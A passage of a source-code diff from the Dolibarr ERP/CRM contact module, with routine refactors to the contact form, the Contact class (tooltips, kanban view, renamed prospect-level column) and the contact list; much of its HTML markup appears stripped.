$objcanvas->displayCanvasExists($action)) { print ''; print ''; + // Firstname print ''; print ''; @@ -709,7 +698,7 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { print ''; } else { print ''; } } @@ -761,7 +750,7 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { // Country print ''; print ''; if ($conf->browser->layout == 'phone') { print ''; } print ''; print ''; print ''; print ''; if ($conf->browser->layout == 'phone') { print ''; } print ''; print ''; print ''; @@ -825,7 +814,7 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { // Email print ''; print ''; print ''; @@ -858,23 +847,9 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { print ''; } - + // Social network if (isModEnabled('socialnetworks')) { - foreach ($socialnetworks as $key => $value) { - if ($value['active']) { - print ''; - print ''; - print ''; - print ''; - } elseif (!empty($object->socialnetworks[$key])) { - print ''; - } - } + $object->showSocialNetwork($socialnetworks, ($conf->browser->layout == 'phone' ? 2 : 4)); } // Visibility @@ -895,7 +870,7 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { if (isModEnabled('categorie') && !empty($user->rights->categorie->lire)) { print '"; } @@ -982,7 +957,7 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { /* set country at end because it will trigger page refresh */ console.log("Set country id to '.dol_escape_js($objsoc->country_id).'"); $(\'select[name="country_id"]\').val("'.dol_escape_js($objsoc->country_id).'").trigger("change"); /* trigger required to update select2 components */ - }); + }); })'."\n"; print ''."\n"; } @@ -992,8 +967,6 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { print ''; print ''; print ''; - print ''; - print ''; if (!empty($backtopage)) { print ''; } @@ -1043,7 +1016,7 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { print '
      '; print ''; print '
      '; - if ($conf->use_javascript_ajax) { + if (!empty($conf->use_javascript_ajax)) { print ''.$langs->trans('CopyAddressFromSoc').'
      '; } print '
      '; @@ -1146,22 +1119,9 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { print ''; } + // Social network if (isModEnabled('socialnetworks')) { - foreach ($socialnetworks as $key => $value) { - if ($value['active']) { - print ''; - print ''; - print ''; - print ''; - } elseif (!empty($object->socialnetworks[$key])) { - print ''; - } - } + $object->showSocialNetwork($socialnetworks, ($conf->browser->layout == 'phone' ? 2 : 4)); } // Visibility @@ -1207,7 +1167,7 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { foreach ($cats as $cat) { $arrayselected[] = $cat->id; } - print img_picto('', 'category').$form->multiselectarray('contcats', $cate_arbo, $arrayselected, '', 0, '', 0, '90%'); + print img_picto('', 'category', 'class="pictofixedwidth"').$form->multiselectarray('contcats', $cate_arbo, $arrayselected, '', 0, '', 0, '90%'); print ""; } @@ -1349,7 +1309,6 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { if (empty($conf->global->SOCIETE_DISABLE_CONTACTS)) { $objsoc->fetch($object->socid); // Thirdparty - $morehtmlref .= $langs->trans('ThirdParty').' : '; if ($objsoc->id > 0) { $morehtmlref .= $objsoc->getNomUrl(1, 'contact'); } else { @@ -1541,7 +1500,7 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { print "
      lastname).'" autofocus="autofocus">
      '; - print img_picto('', 'company').$form->select_company($socid, 'socid', '', 'SelectThirdParty', 0, 0, null, 0, 'minwidth300 maxwidth500 widthcentpercentminusxx'); + print img_picto('', 'company', 'class="pictofixedwidth"').$form->select_company($socid, 'socid', '', 'SelectThirdParty', 0, 0, null, 0, 'minwidth300 maxwidth500 widthcentpercentminusxx'); print '
      '; - print img_picto('', 'globe-americas', 'class="paddingrightonly"'); + print img_picto('', 'globe-americas', 'class="pictofixedwidth"'); print $form->select_country((GETPOST("country_id", 'alpha') ? GETPOST("country_id", 'alpha') : $object->country_id), 'country_id'); if ($user->admin) { print info_admin($langs->trans("YouCanChangeValuesForThisListFromDictionarySetup"), 1); @@ -795,26 +784,26 @@ if (is_object($objcanvas) && $objcanvas->displayCanvasExists($action)) { // Phone / Fax print '
      '.$form->editfieldkey('PhonePro', 'phone_pro', '', $object, 0).''; - print img_picto('', 'object_phoning'); + print img_picto('', 'object_phoning', 'class="pictofixedwidth"'); print '
      '.$form->editfieldkey('PhonePerso', 'phone_perso', '', $object, 0).''; - print img_picto('', 'object_phoning'); + print img_picto('', 'object_phoning', 'class="pictofixedwidth"'); print '
      '.$form->editfieldkey('PhoneMobile', 'phone_mobile', '', $object, 0).''; - print img_picto('', 'object_phoning_mobile'); + print img_picto('', 'object_phoning_mobile', 'class="pictofixedwidth"'); print '
      '.$form->editfieldkey('Fax', 'fax', '', $object, 0).''; - print img_picto('', 'object_phoning_fax'); + print img_picto('', 'object_phoning_fax', 'class="pictofixedwidth"'); print '
      '.$form->editfieldkey('EMail', 'email', '', $object, 0, 'string', '').''; - print img_picto('', 'object_email'); + print img_picto('', 'object_email', 'class="pictofixedwidth"'); print '
      '; - if (!empty($value['icon'])) { - print ''; - } - print ''; - print '
      '.$form->editfieldkey('Categories', 'contcats', '', $object, 0).''; $cate_arbo = $form->select_all_categories(Categorie::TYPE_CONTACT, null, 'parent', null, null, 1); - print img_picto('', 'category').$form->multiselectarray('contcats', $cate_arbo, GETPOST('contcats', 'array'), null, null, null, null, '90%'); + print img_picto('', 'category', 'class="pictofixedwidth"').$form->multiselectarray('contcats', $cate_arbo, GETPOST('contcats', 'array'), null, null, null, null, '90%'); print "
      '; - if (!empty($value['icon'])) { - print ''; - } - print ''; - print '
      "; print '
      '; - print '
      '; + print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/contact/class/contact.class.php b/htdocs/contact/class/contact.class.php index d535da76199..eddba0b5ad3 100644 --- a/htdocs/contact/class/contact.class.php +++ b/htdocs/contact/class/contact.class.php @@ -32,6 +32,7 @@ * \brief File of contacts class */ require_once DOL_DOCUMENT_ROOT.'/core/class/commonobject.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/commonsocialnetworks.class.php'; /** @@ -39,6 +40,8 @@ require_once DOL_DOCUMENT_ROOT.'/core/class/commonobject.class.php'; */ class Contact extends CommonObject { + use CommonSocialNetworks; + /** * @var string ID to identify managed object */ @@ -98,7 +101,7 @@ class Contact extends CommonObject 'poste' =>array('type'=>'varchar(80)', 'label'=>'PostOrFunction', 'enabled'=>1, 'visible'=>-1, 'position'=>52), 'address' =>array('type'=>'varchar(255)', 'label'=>'Address', 'enabled'=>1, 'visible'=>-1, 'position'=>55), 'zip' =>array('type'=>'varchar(25)', 'label'=>'Zip', 'enabled'=>1, 'visible'=>1, 'position'=>60), - 'town' =>array('type'=>'text', 'label'=>'Town', 'enabled'=>1, 'visible'=>-1, 'position'=>65), + 'town' =>array('type'=>'varchar(50)', 'label'=>'Town', 'enabled'=>1, 'visible'=>-1, 'position'=>65), 'fk_departement' =>array('type'=>'integer', 'label'=>'Fk departement', 'enabled'=>1, 'visible'=>3, 'position'=>70), 'fk_pays' =>array('type'=>'integer', 'label'=>'Fk pays', 'enabled'=>1, 'visible'=>3, 'position'=>75), 'fk_soc' =>array('type'=>'integer', 'label'=>'ThirdParty', 'enabled'=>1, 'visible'=>1, 'position'=>77, 'searchall'=>1), @@ -114,8 +117,8 @@ class Contact extends CommonObject 'fk_stcommcontact' =>array('type'=>'integer', 'label'=>'ProspectStatus', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>220), 'fk_prospectlevel' =>array('type'=>'varchar(12)', 'label'=>'ProspectLevel', 'enabled'=>1, 'visible'=>-1, 'position'=>255), 'no_email' =>array('type'=>'smallint(6)', 'label'=>'No_Email', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>180), - 'note_private' =>array('type'=>'text', 'label'=>'NotePrivate', 'enabled'=>1, 'visible'=>3, 'position'=>195, 'searchall'=>1), - 'note_public' =>array('type'=>'text', 'label'=>'NotePublic', 'enabled'=>1, 'visible'=>3, 'position'=>200, 'searchall'=>1), + 'note_private' =>array('type'=>'html', 'label'=>'NotePrivate', 'enabled'=>1, 'visible'=>3, 'position'=>195, 'searchall'=>1), + 'note_public' =>array('type'=>'html', 'label'=>'NotePublic', 'enabled'=>1, 'visible'=>3, 'position'=>200, 'searchall'=>1), 'default_lang' =>array('type'=>'varchar(6)', 'label'=>'Default lang', 'enabled'=>1, 'visible'=>3, 'position'=>205), 'canvas' =>array('type'=>'varchar(32)', 'label'=>'Canvas', 'enabled'=>1, 'visible'=>3, 'position'=>210), 'datec' =>array('type'=>'datetime', 'label'=>'DateCreation', 'enabled'=>1, 'visible'=>-1, 'position'=>300), @@ -130,6 +133,21 @@ class Contact extends CommonObject public $civility_code; public $civility; + /** + * @var string gender + */ + public $gender; + + /** + * @var int egroupware_id + */ + public $egroupware_id; + + /** + * @var int birthday_alert + */ + public $birthday_alert; + /** * @var string The civilite code, not an integer * @deprecated @@ -137,6 +155,11 @@ class Contact extends CommonObject */ public $civilite; + /** + * @var string fullname + */ + public $fullname; + /** * @var string Address */ @@ -175,6 +198,11 @@ class Contact extends CommonObject public $socid; // both socid and fk_soc are used public $fk_soc; // both socid and fk_soc are used + /** + * @var string thirdparty name + */ + public $socname; + /** * @var int 0=inactive, 1=active */ @@ -188,6 +216,14 @@ class Contact extends CommonObject */ public $email; + /** + * Email + * @var string + * @deprecated + * @see $email + */ + public $mail; + /** * URL * @var string @@ -353,9 +389,9 @@ class Contact extends CommonObject $this->fields['fk_soc']['searchall'] = 0; } - if (empty($conf->global->THIRDPARTY_ENABLE_PROSPECTION_ON_ALTERNATIVE_ADRESSES)) { // Default behaviour - $this->field['fk_stcommcontact']['enabled'] = 0; - $this->field['fk_prospectcontactlevel']['enabled'] = 0; + if (!empty($conf->global->SOCIETE_DISABLE_PROSPECTS) || empty($conf->global->THIRDPARTY_ENABLE_PROSPECTION_ON_ALTERNATIVE_ADRESSES)) { // Default behaviour + $this->fields['fk_stcommcontact']['enabled'] = 0; + $this->fields['fk_prospectlevel']['enabled'] = 0; } // Unset fields that are disabled @@ -608,7 +644,7 @@ class Contact extends CommonObject $sql .= ", phone_perso = ".(isset($this->phone_perso) ? "'".$this->db->escape($this->phone_perso)."'" : "NULL"); $sql .= ", phone_mobile = ".(isset($this->phone_mobile) ? "'".$this->db->escape($this->phone_mobile)."'" : "NULL"); $sql .= ", priv = '".$this->db->escape($this->priv)."'"; - $sql .= ", fk_prospectcontactlevel = '".$this->db->escape($this->fk_prospectlevel)."'"; + $sql .= ", fk_prospectlevel = '".$this->db->escape($this->fk_prospectlevel)."'"; if (isset($this->stcomm_id)) { $sql .= ", fk_stcommcontact = ".($this->stcomm_id > 0 || $this->stcomm_id == -1 ? $this->stcomm_id : "0"); } @@ -684,22 +720,6 @@ class Contact extends CommonObject $tmpobj->socialnetworks = $this->socialnetworks; $usermustbemodified++; } - // if ($tmpobj->skype != $this->skype) { - // $tmpobj->skype = $this->skype; - // $usermustbemodified++; - // } - // if ($tmpobj->twitter != $this->twitter) { - // $tmpobj->twitter = $this->twitter; - // $usermustbemodified++; - // } - // if ($tmpobj->facebook != $this->facebook) { - // $tmpobj->facebook = $this->facebook; - // $usermustbemodified++; - // } - // if ($tmpobj->linkedin != $this->linkedin) { - // $tmpobj->linkedin = $this->linkedin; - // $usermustbemodified++; - // } if ($usermustbemodified) { $result = $tmpobj->update($user, 0, 1, 1, 1); if ($result < 0) { @@ -832,9 +852,6 @@ class Contact extends CommonObject if ($this->fax && !empty($conf->global->LDAP_CONTACT_FIELD_FAX)) { $info[$conf->global->LDAP_CONTACT_FIELD_FAX] = $this->fax; } - if ($this->skype && !empty($conf->global->LDAP_CONTACT_FIELD_SKYPE)) { - $info[$conf->global->LDAP_CONTACT_FIELD_SKYPE] = $this->skype; - } if ($this->note_private && !empty($conf->global->LDAP_CONTACT_FIELD_DESCRIPTION)) { $info[$conf->global->LDAP_CONTACT_FIELD_DESCRIPTION] = dol_string_nohtmltag($this->note_private, 2); } @@ -987,7 +1004,7 @@ class Contact extends CommonObject $sql .= " c.socialnetworks,"; $sql .= " c.photo,"; $sql .= " c.priv, c.note_private, c.note_public, c.default_lang, c.canvas,"; - $sql .= " c.fk_prospectcontactlevel, c.fk_stcommcontact, st.libelle as stcomm, st.picto as stcomm_picto,"; + $sql .= " c.fk_prospectlevel, c.fk_stcommcontact, st.libelle as stcomm, st.picto as stcomm_picto,"; $sql .= " c.import_key,"; $sql .= " c.datec as date_creation, c.tms as date_modification,"; $sql .= " co.label as country, co.code as country_code,"; @@ -1046,15 +1063,15 @@ class Contact extends CommonObject $this->country_id = $obj->country_id; $this->country_code = $obj->country_id ? $obj->country_code : ''; - $this->country = $obj->country_id ? ($langs->trans('Country'.$obj->country_code) != 'Country'.$obj->country_code ? $langs->transnoentities('Country'.$obj->country_code) : $obj->country) : ''; + $this->country = $obj->country_id ? ($langs->trans('Country'.$obj->country_code) != 'Country'.$obj->country_code ? $langs->transnoentities('Country'.$obj->country_code) : $obj->country) : ''; - $this->fk_soc = $obj->fk_soc; // Both fk_soc and socid are used - $this->socid = $obj->fk_soc; // Both fk_soc and socid are used - $this->socname = $obj->socname; - $this->poste = $obj->poste; + $this->fk_soc = $obj->fk_soc; // Both fk_soc and socid are used + $this->socid = $obj->fk_soc; // Both fk_soc and socid are used + $this->socname = $obj->socname; + $this->poste = $obj->poste; $this->statut = $obj->statut; - $this->fk_prospectlevel = $obj->fk_prospectcontactlevel; + $this->fk_prospectlevel = $obj->fk_prospectlevel; $transcode = $langs->trans('StatusProspect'.$obj->fk_stcommcontact); $libelle = ($transcode != 'StatusProspect'.$obj->fk_stcommcontact ? $transcode : $obj->stcomm); @@ -1067,22 +1084,22 @@ class Contact extends CommonObject $this->phone_perso = trim($obj->phone_perso); $this->phone_mobile = trim($obj->phone_mobile); - $this->email = $obj->email; + $this->email = $obj->email; $this->socialnetworks = ($obj->socialnetworks ? (array) json_decode($obj->socialnetworks, true) : array()); - $this->photo = $obj->photo; - $this->priv = $obj->priv; - $this->mail = $obj->email; + $this->photo = $obj->photo; + $this->priv = $obj->priv; + $this->mail = $obj->email; $this->birthday = $this->db->jdate($obj->birthday); - $this->note = $obj->note_private; // deprecated - $this->note_private = $obj->note_private; + $this->note = $obj->note_private; // deprecated + $this->note_private = $obj->note_private; $this->note_public = $obj->note_public; - $this->default_lang = $obj->default_lang; + $this->default_lang = $obj->default_lang; $this->user_id = $obj->user_id; - $this->user_login = $obj->user_login; + $this->user_login = $obj->user_login; $this->canvas = $obj->canvas; - $this->import_key = $obj->import_key; + $this->import_key = $obj->import_key; // Define gender according to civility $this->setGenderFromCivility(); @@ -1405,6 +1422,52 @@ class Contact extends CommonObject } } + /** + * getTooltipContentArray + * @param array $params params to construct tooltip data + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $conf, $langs, $user; + + $datas = []; + + if (!empty($conf->global->MAIN_OPTIMIZEFORTEXTBROWSER)) { + return ['optimize' => $langs->trans("ShowContact")]; + } + if (!empty($this->photo) && class_exists('Form')) { + $photo = '
      '; + $photo .= Form::showphoto('contact', $this, 0, 40, 0, 'photoref', 'mini', 0); // Important, we must force height so image will have height tags and if image is inside a tooltip, the tooltip manager can calculate height and position correctly the tooltip. + $photo .= '
      '; + $datas['photo'] = $photo; + } + + $datas['picto'] = img_picto('', $this->picto).' '.$langs->trans("Contact").' ' . $this->getLibStatut(4); + $datas['name'] = '
      '.$langs->trans("Name").': '.$this->getFullName($langs); + // if ($this->civility_id) $datas['civility'] = '
      ' . $langs->trans("Civility") . ': '.$this->civility_id; // TODO Translate civilty_id code + if (!empty($this->poste)) { + $datas['job'] = '
      '.$langs->trans("Poste").': '.$this->poste; + } + $datas['email'] = '
      '.$langs->trans("EMail").': '.$this->email; + $phonelist = array(); + $country_code = empty($this->country_code) ? '': $this->country_code; + if ($this->phone_pro) { + $phonelist[] = dol_print_phone($this->phone_pro, $country_code, $this->id, 0, '', ' ', 'phone'); + } + if ($this->phone_mobile) { + $phonelist[] = dol_print_phone($this->phone_mobile, $country_code, $this->id, 0, '', ' ', 'mobile'); + } + if ($this->phone_perso) { + $phonelist[] = dol_print_phone($this->phone_perso, $country_code, $this->id, 0, '', ' ', 'phone'); + } + $datas['phonelist'] = '
      '.$langs->trans("Phone").': '.implode(' ', $phonelist); + $datas['address'] = '
      '.$langs->trans("Address").': '.dol_format_address($this, 1, ' ', $langs); + + return $datas; + } + /** * Return name of contact with link (and eventually picto) * Use $this->id, $this->lastname, $this->firstname, this->civility_id @@ -1422,36 +1485,22 @@ class Contact extends CommonObject { global $conf, $langs, $hookmanager; - $result = ''; $label = ''; - if (!empty($this->photo) && class_exists('Form')) { - $label .= '
      '; - $label .= Form::showphoto('contact', $this, 0, 40, 0, 'photoref', 'mini', 0); // Important, we must force height so image will have height tags and if image is inside a tooltip, the tooltip manager can calculate height and position correctly the tooltip. - $label .= '
      '; - //$label .= '
      '; + $result = ''; + $params = [ + 'id' => $this->id, + 'objecttype' => $this->element, + 'option' => $option, + ]; + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $label = ''; + } else { + $label = implode($this->getTooltipContentArray($params)); } - $label .= img_picto('', $this->picto).' '.$langs->trans("Contact").''; - $label .= ' '.$this->getLibStatut(4); - $label .= '
      '.$langs->trans("Name").': '.$this->getFullName($langs); - //if ($this->civility_id) $label.= '
      ' . $langs->trans("Civility") . ': '.$this->civility_id; // TODO Translate cibilty_id code - if (!empty($this->poste)) { - $label .= '
      '.$langs->trans("Poste").': '.$this->poste; - } - $label .= '
      '.$langs->trans("EMail").': '.$this->email; - $phonelist = array(); - $country_code = empty($this->country_code) ? '': $this->country_code; - if ($this->phone_pro) { - $phonelist[] = dol_print_phone($this->phone_pro, $country_code, $this->id, 0, '', ' ', 'phone'); - } - if ($this->phone_mobile) { - $phonelist[] = dol_print_phone($this->phone_mobile, $country_code, $this->id, 0, '', ' ', 'mobile'); - } - if ($this->phone_perso) { - $phonelist[] = dol_print_phone($this->phone_perso, $country_code, $this->id, 0, '', ' ', 'phone'); - } - $label .= '
      '.$langs->trans("Phone").': '.implode(' ', $phonelist); - $label .= '
      '.$langs->trans("Address").': '.dol_format_address($this, 1, ' ', $langs); - $url = DOL_URL_ROOT.'/contact/card.php?id='.$this->id; if ($option !== 'nolink') { @@ -1473,8 +1522,8 @@ class Contact extends CommonObject $label = $langs->trans("ShowContact"); $linkclose .= ' alt="'.dol_escape_htmltag($label, 1).'"'; } - $linkclose .= ' title="'.dol_escape_htmltag($label, 1).'"'; - $linkclose .= ' class="classfortooltip'.($morecss ? ' '.$morecss : '').'"'; + $linkclose .= ($label ? ' title="'.dol_escape_htmltag($label, 1).'"' : ' title="tocomplete"'); + $linkclose .= $dataparams.' class="'.$classfortooltip.($morecss ? ' '.$morecss : '').'"'; } $linkstart = ''; + $linkstart = ''; $linkend = ''; } @@ -1491,7 +1540,7 @@ class Contact extends CommonObject if ($withpicto < 0) { $result .= ''.Form::showphoto('contact', $this, 0, 0, 0, 'userphoto'.($withpicto == -3 ? 'small' : ''), 'mini', 0, 1).''; } else { - $result .= img_object(($notooltip ? '' : $label), ( $this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + $result .= img_object(($notooltip ? '' : $label), ( $this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : $dataparams.' class="'.(($withpicto != 2) ? 'paddingright ' : '').$classfortooltip.'"'), 0, 0, $notooltip ? 0 : 1); } } if ($withpicto != 2 && $withpicto != -2) { @@ -1700,8 +1749,8 @@ class Contact extends CommonObject * Adds it to non existing supplied categories. * Existing categories are left untouch. * - * @param int[]|int $categories Category or categories IDs - * @return void + * @param int[]|int $categories Category or categories IDs + * @return int <0 if KO, >0 if OK */ public function setCategories($categories) { @@ -1712,18 +1761,18 @@ class Contact extends CommonObject /** * Function used to replace a thirdparty id with another one. * - * @param DoliDB $db Database handler - * @param int $origin_id Old thirdparty id - * @param int $dest_id New thirdparty id - * @return bool + * @param DoliDB $dbs Database handler, because function is static we name it $dbs not $db to avoid breaking coding test + * @param int $origin_id Old thirdparty id + * @param int $dest_id New thirdparty id + * @return bool */ - public static function replaceThirdparty(DoliDB $db, $origin_id, $dest_id) + public static function replaceThirdparty(DoliDB $dbs, $origin_id, $dest_id) { $tables = array( 'socpeople', 'societe_contacts' ); - return CommonObject::commonReplaceThirdparty($db, $origin_id, $dest_id, $tables); + return CommonObject::commonReplaceThirdparty($dbs, $origin_id, $dest_id, $tables); } /** @@ -1789,6 +1838,8 @@ class Contact extends CommonObject $sql = "SELECT sc.fk_socpeople as id, sc.fk_c_type_contact"; $sql .= " FROM ".MAIN_DB_PREFIX."c_type_contact tc"; $sql .= ", ".MAIN_DB_PREFIX."societe_contacts sc"; + $sql .= " INNER JOIN ".MAIN_DB_PREFIX."socpeople sp"; + $sql .= " ON sc.fk_socpeople = sp.rowid AND sp.statut = 1"; $sql .= " WHERE sc.fk_soc =".((int) $this->socid); $sql .= " AND sc.fk_c_type_contact=tc.rowid"; $sql .= " AND tc.element = '".$this->db->escape($element)."'"; @@ -1818,7 +1869,7 @@ class Contact extends CommonObject * Updates all roles (default contact for companies) according to values inside the ->roles array. * This is called by update of contact. * - * @return float|int + * @return int * @see fetchRoles() */ public function updateRoles() @@ -1828,7 +1879,7 @@ class Contact extends CommonObject $error = 0; if (!isset($this->roles)) { - return; // Avoid to loose roles when property not set + return 0; // Avoid to loose roles when property not set } $this->db->begin(); @@ -2115,4 +2166,52 @@ class Contact extends CommonObject } return 0; } + + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + //var_dump($this->photo);exit; + if (property_exists($this, 'photo') && !is_null($this->photo)) { + $return.= Form::showphoto('contact', $this, 0, 60, 0, 'photokanban photoref photowithmargin photologintooltip', 'small', 0, 1); + } else { + $return .= img_picto('', $this->picto); + } + $return .= ''; + $return .= '
      '; + $return .= '
      '.(method_exists($this, 'getNomUrl') ? $this->getNomUrl(1) : $this->ref).'
      '; + $return .= ''; + + if (property_exists($this, 'thirdparty') && is_object($this->thirdparty)) { + $return .= '
      '.$this->thirdparty->getNomUrl(1).'
      '; + } + /*if (property_exists($this, 'phone_pro') && !empty($this->phone_pro)) { + $return .= '
      '.img_picto($langs->trans("Phone"), 'phone'); + $return .= ' '.$this->phone_pro.''; + }*/ + /*if (method_exists($this, 'LibPubPriv')) { + $return .= '
      '.$langs->trans("Visibility").''; + $return .= ' : '.$this->LibPubPriv($this->priv).''; + }*/ + if (method_exists($this, 'getLibStatut')) { + $return .= '
      '.$this->getLibStatut(3).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/contact/consumption.php b/htdocs/contact/consumption.php index bbd5bf005d2..93acb2ab463 100644 --- a/htdocs/contact/consumption.php +++ b/htdocs/contact/consumption.php @@ -133,11 +133,10 @@ $morehtmlref .= '
      '; if (empty($conf->global->SOCIETE_DISABLE_CONTACTS)) { $objsoc->fetch($socid); // Thirdparty - $morehtmlref .= $langs->trans('ThirdParty').' : '; if ($objsoc->id > 0) { $morehtmlref .= $objsoc->getNomUrl(1, 'contact'); } else { - $morehtmlref .= $langs->trans("ContactNotLinkedToCompany"); + $morehtmlref .= ''.$langs->trans("ContactNotLinkedToCompany").''; } } $morehtmlref .= '
      '; @@ -156,21 +155,21 @@ print '
      '."\n"; +print '
      '."\n"; -// Lines for filter fields +// Fields title search +// -------------------------------------------------------------------- print ''; // Action column -if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; @@ -902,20 +994,25 @@ if (!empty($arrayfields['p.town']['checked'])) { print ''; print ''; } + +/* // State -/*if (!empty($arrayfields['state.nom']['checked'])) + if (!empty($arrayfields['state.nom']['checked'])) { print ''; } + // Region if (!empty($arrayfields['region.nom']['checked'])) { print ''; - }*/ + } +*/ + // Country if (!empty($arrayfields['country.code_iso']['checked'])) { print ''; } +// Alias of ThirdParty +if (!empty($arrayfields['s.name_alias']['checked'])) { + print ''; +} if (!empty($arrayfields['p.priv']['checked'])) { print ''; } // Prospect level -if (!empty($arrayfields['p.fk_prospectcontactlevel']['checked'])) { +if (!empty($arrayfields['p.fk_prospectlevel']['checked'])) { print ''; @@ -1009,8 +1112,8 @@ if (!empty($arrayfields['p.tms']['checked'])) { } // Status if (!empty($arrayfields['p.statut']['checked'])) { - print ''; } if (!empty($arrayfields['p.import_key']['checked'])) { @@ -1019,119 +1122,155 @@ if (!empty($arrayfields['p.import_key']['checked'])) { print ''; } // Action column -if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; } -print ''; +print ''."\n"; -// Ligne des titres +$totalarray = array(); +$totalarray['nbfield'] = 0; + +// Fields title label +// -------------------------------------------------------------------- print ''; -if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; } if (!empty($arrayfields['p.rowid']['checked'])) { print_liste_field_titre($arrayfields['p.rowid']['label'], $_SERVER["PHP_SELF"], "p.rowid", "", $param, "", $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.lastname']['checked'])) { print_liste_field_titre($arrayfields['p.lastname']['label'], $_SERVER["PHP_SELF"], "p.lastname", $begin, $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.firstname']['checked'])) { print_liste_field_titre($arrayfields['p.firstname']['label'], $_SERVER["PHP_SELF"], "p.firstname", $begin, $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.poste']['checked'])) { print_liste_field_titre($arrayfields['p.poste']['label'], $_SERVER["PHP_SELF"], "p.poste", $begin, $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.address']['checked'])) { print_liste_field_titre($arrayfields['p.address']['label'], $_SERVER["PHP_SELF"], "p.address", $begin, $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.zip']['checked'])) { print_liste_field_titre($arrayfields['p.zip']['label'], $_SERVER["PHP_SELF"], "p.zip", $begin, $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.town']['checked'])) { print_liste_field_titre($arrayfields['p.town']['label'], $_SERVER["PHP_SELF"], "p.town", $begin, $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } //if (!empty($arrayfields['state.nom']['checked'])) print_liste_field_titre($arrayfields['state.nom']['label'],$_SERVER["PHP_SELF"],"state.nom","",$param,'',$sortfield,$sortorder); //if (!empty($arrayfields['region.nom']['checked'])) print_liste_field_titre($arrayfields['region.nom']['label'],$_SERVER["PHP_SELF"],"region.nom","",$param,'',$sortfield,$sortorder); if (!empty($arrayfields['country.code_iso']['checked'])) { print_liste_field_titre($arrayfields['country.code_iso']['label'], $_SERVER["PHP_SELF"], "co.code_iso", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.phone']['checked'])) { print_liste_field_titre($arrayfields['p.phone']['label'], $_SERVER["PHP_SELF"], "p.phone", $begin, $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.phone_perso']['checked'])) { print_liste_field_titre($arrayfields['p.phone_perso']['label'], $_SERVER["PHP_SELF"], "p.phone_perso", $begin, $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.phone_mobile']['checked'])) { print_liste_field_titre($arrayfields['p.phone_mobile']['label'], $_SERVER["PHP_SELF"], "p.phone_mobile", $begin, $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.fax']['checked'])) { print_liste_field_titre($arrayfields['p.fax']['label'], $_SERVER["PHP_SELF"], "p.fax", $begin, $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.email']['checked'])) { print_liste_field_titre($arrayfields['p.email']['label'], $_SERVER["PHP_SELF"], "p.email", $begin, $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['unsubscribed']['checked'])) { print_liste_field_titre($arrayfields['unsubscribed']['label'], $_SERVER["PHP_SELF"], "unsubscribed", $begin, $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; } if (isModEnabled('socialnetworks')) { foreach ($socialnetworks as $key => $value) { if ($value['active'] && !empty($arrayfields['p.'.$key]['checked'])) { print_liste_field_titre($arrayfields['p.'.$key]['label'], $_SERVER["PHP_SELF"], "p.".$key, $begin, $param, '', $sortfield, $sortorder); + 